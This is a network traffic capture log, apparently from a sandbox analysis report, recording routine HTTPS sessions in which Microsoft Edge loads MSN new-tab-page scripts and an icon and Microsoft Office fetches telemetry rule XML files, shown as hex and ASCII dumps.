2024-11-12 12:35:36 UTC	1238	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: zIzpzLQ1vj7cMQdyWQ89+Q== Last-Modified: Tue, 12 Nov 2024 03:47:17 GMT ETag: 0x8DD02CCB3FF9877 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 74478c4f-f01e-00b7-1fb5-34dfc5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 12 Nov 2024 12:35:36 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.221.23.204,b=1018829668,c=g,n=US_TX_DALLAS,o=20940] Server-Timing: clientrtt; dur=0, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.221.23.204 Akamai-Request-ID: 3cba1b64 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.cc17dd17.1731414936.3cba1b64 Vary: Origin
2024-11-12 12:35:36 UTC	15146	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 5d 2c 7b 33 36 37 37 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 46 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 67 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 22 73 65 6c 65 63 74 65 64 4e 61 76 49 74 65 6d 43 6c 69 63 6b 65 64 22 3b 63 6c 61 73 73 20 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 73 75 70 70 6f 72 74 Data Ascii: 00006000(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common"],{36777:function(e,t,n){"use strict";n.d(t,{Fv:function(){return r},gQ:function(){return i}});const i="selectedNavItemClicked";class r{constructor(){this.support
2024-11-12 12:35:36 UTC	9442	IN	Data Raw: 65 3f 7b 44 61 72 6b 47 6c 65 61 6d 55 72 6c 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 74 61 2e 64 61 72 6b 2c 4c 69 67 68 74 47 6c 65 61 6d 55 72 6c 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 74 61 2e 6c 69 67 68 74 7d 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 65 76 65 6e 74 47 6c 65 61 6d 3b 72 65 74 75 72 6e 20 74 3f 74 68 69 73 2e 64 61 72 6b 4d 6f 64 65 51 75 65 72 79 2e 6d 61 74 63 68 65 73 3f 74 2e 44 61 72 6b 47 6c 65 61 6d 55 72 6c 3a 74 2e 4c 69 67 68 74 47 6c 65 61 6d 55 72 6c 3a 6e 75 6c 6c 7d 67 65 74 49 6d 61 67 65 55 52 4c 28 65 29 7b 76 61 Data Ascii: e?{DarkGleamUrl:this.backgroundImageWC.ssrBackgroundMetadata.dark,LightGleamUrl:this.backgroundImageWC.ssrBackgroundMetadata.light}:this.backgroundImageWC.eventGleam;return t?this.darkModeQuery.matches?t.DarkGleamUrl:t.LightGleamUrl:null}getImageURL(e){va
2024-11-12 12:35:36 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 72 65 6e 74 4c 61 79 6f 75 74 26 26 28 30 2c 72 65 2e 49 39 29 28 29 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3d 22 4e 6f 42 61 63 6b 67 72 6f 75 6e 64 22 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 69 73 4c 6f 77 45 6e 64 44 65 76 69 63 65 3a 21 30 7d 7d 29 29 3b 62 72 65 61 6b 7d 69 66 28 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 69 73 4c 6f 77 45 6e 64 44 65 76 69 63 65 3a 21 31 7d 7d 29 29 2c 74 Data Ascii: 00006000rentLayout&&(0,re.I9)()){this.currentProvider="NoBackground",window.dispatchEvent(new CustomEvent("LowEndDeviceBkgd",{detail:{isLowEndDevice:!0}}));break}if(window.dispatchEvent(new CustomEvent("LowEndDeviceBkgd",{detail:{isLowEndDevice:!1}})),t
2024-11-12 12:35:36 UTC	8204	IN	Data Raw: 75 74 74 6f 6e 3d 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 6e 61 6d 65 3a 22 4d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 22 2c 74 79 70 65 3a 54 2e 63 39 2e 49 6e 74 65 72 61 63 74 69 6f 6e 2c 62 65 68 61 76 69 6f 72 3a 54 2e 77 75 2e 4e 61 76 69 67 61 74 65 2c 63 6f 6e 74 65 6e 74 3a 7b 68 65 61 64 6c 69 6e 65 3a 6e 75 6c 6c 3d 3d 3d 28 6e 3d 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 63 74 61 54 65 78 74 2c 69 64 3a 6e 75 6c 6c 3d 3d 3d 28 69 3d 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 63 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 7d Data Ascii: utton=this.telemetryObject.addOrUpdateChild({name:"MarqueeAdCTAButton",type:T.c9.Interaction,behavior:T.wu.Navigate,content:{headline:null===(n=this.marqueeAd)\|\|void 0===n?void 0:n.ctaText,id:null===(i=this.marqueeAd)\|\|void 0===i?void 0:i.clickThroughUrl}
2024-11-12 12:35:36 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 4b 30 29 28 6c 2e 52 4c 29 2c 74 68 69 73 2e 69 73 44 61 72 6b 4d 6f 64 65 3d 28 30 2c 59 2e 59 29 28 29 2c 74 68 69 73 2e 64 61 72 6b 4d 6f 64 65 51 75 65 72 79 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 74 68 69 73 2e 74 68 65 6d 65 43 68 61 6e 67 65 64 29 2c 28 30 2c 24 2e 69 73 4e 75 6c 6c 4f 72 55 6e 64 65 66 69 6e 65 64 29 28 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 43 6f 6e 6e 65 63 74 6f 72 29 29 7b 63 6f 6e 73 74 20 65 3d 28 30 2c 24 2e 69 73 4e 75 6c 6c 4f 72 55 6e 64 65 66 69 6e 65 64 29 28 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 43 6f 6e 6e 65 63 74 6f 72 29 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 48 29 28 72 2e Data Ascii: 00004000K0)(l.RL),this.isDarkMode=(0,Y.Y)(),this.darkModeQuery.addEventListener("change",this.themeChanged),(0,$.isNullOrUndefined)(this.chromiumPageSettingsConnector)){const e=(0,$.isNullOrUndefined)(this.chromiumPageSettingsConnector);return(0,o.H)(r.
2024-11-12 12:35:36 UTC	12	IN	Data Raw: 2c 54 2e 41 77 2e 43 6c 69 63 0d 0a Data Ascii: ,T.Aw.Clic
2024-11-12 12:35:36 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6b 2c 54 2e 77 75 2e 4e 61 76 69 67 61 74 65 29 7d 67 65 74 53 74 79 6c 65 46 6f 72 45 6c 65 6d 65 6e 74 4b 65 79 28 65 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 28 74 3d 28 30 2c 78 2e 62 5f 29 28 65 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 74 79 6c 65 7d 63 68 65 63 6b 49 6e 66 6f 72 6d 61 74 61 69 6f 6e 61 6c 46 6c 69 67 68 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 66 69 67 2e 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 46 6c 69 67 68 74 4f 6e 6c 79 26 26 22 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 22 3d 3d 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 53 74 61 74 65 2e 63 75 72 72 65 6e 74 4c 61 79 6f 75 74 7d 73 65 74 50 72 6f Data Ascii: 00004000k,T.wu.Navigate)}getStyleForElementKey(e){var t;return null===(t=(0,x.b_)(e))\|\|void 0===t?void 0:t.style}checkInformataionalFlight(){return this.config.informationalFlightOnly&&"informational"==this.chromiumPageSettingsState.currentLayout}setPro
2024-11-12 12:35:36 UTC	12	IN	Data Raw: 66 66 3b 63 75 72 73 6f 72 3a 0d 0a Data Ascii: ff;cursor:
2024-11-12 12:35:37 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 70 6f 69 6e 74 65 72 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 66 69 6c 6c 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 7d 2e 69 72 69 73 42 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 39 29 7d 2e 69 72 69 73 42 75 74 74 6f 6e 3a 3a 70 61 72 74 28 63 6f 6e 74 72 6f 6c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 75 6e 73 65 74 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 35 70 78 7d 2e 69 72 69 73 42 75 74 74 6f 6e 54 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d Data Ascii: 00006000pointer;height:auto;width:100%;fill:currentColor}.irisButton:hover{background:rgba(0,0,0,.9)}.irisButton::part(control){align-items:flex-start;justify-content:unset;padding:10px 15px}.irisButtonTitle{font-size:14px;line-height:16px;margin-bottom
2024-11-12 12:35:37 UTC	8204	IN	Data Raw: 75 6c 6c 3d 3d 3d 28 65 3d 28 74 3d 74 68 69 73 2e 63 6f 6d 6d 6f 6e 53 65 61 72 63 68 42 6f 78 52 65 66 2e 73 68 61 64 6f 77 52 6f 6f 74 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 63 61 6c 6c 28 74 2c 22 23 71 22 29 29 3b 72 26 26 28 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 3d 72 2c 74 68 69 73 2e 63 61 6e 53 68 6f 77 43 6f 64 65 78 42 69 6e 67 42 75 74 74 6f 6e 26 26 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 69 6e 70 75 74 22 2c 74 68 69 73 2e 68 61 6e 64 49 6e 70 75 74 45 76 65 6e 74 29 2c 28 30 2c 67 2e 46 59 29 28 66 2e 5f 2e 73 65 61 72 63 68 42 6f 78 49 6e 70 75 74 2c 74 68 69 73 2e 69 6e 70 75 74 45 6c Data Ascii: ull===(e=(t=this.commonSearchBoxRef.shadowRoot).querySelector)\|\|void 0===e?void 0:e.call(t,"#q"));r&&(this.inputElement=r,this.canShowCodexBingButton&&this.inputElement.addEventListener("input",this.handInputEvent),(0,g.FY)(f._.searchBoxInput,this.inputEl

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	51630	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:36 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 42bc0e5a-201e-0033-26a6-34b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123536Z-17df447cdb54qlp6hC1DFW67e800000001n000000000dgau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:36 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	51633	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:36 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 3018dd1c-101e-008d-1bd2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123536Z-16547b76f7fnlcwwhC1DFWz6gw0000000fv00000000013xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	51634	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 0f9ccd13-401e-008c-1da7-3486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123536Z-15869dbbcc6x4rp4hC1DFW5xa8000000011g000000001x6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	51632	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6f4d794e-301e-000c-74a1-34323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123536Z-15869dbbcc6sg5zbhC1DFWy5u800000007k0000000009b0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	51631	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:36 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:36 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123536Z-16547b76f7fr28cchC1DFWnuws0000000fp000000000cenv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:36 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	51635	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:36 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:36 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:36 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 464222a3-301e-0020-41b1-3404cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123536Z-17df447cdb5vq4m4hC1DFW2t8w0000000180000000007x9v Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:36 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	62185	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
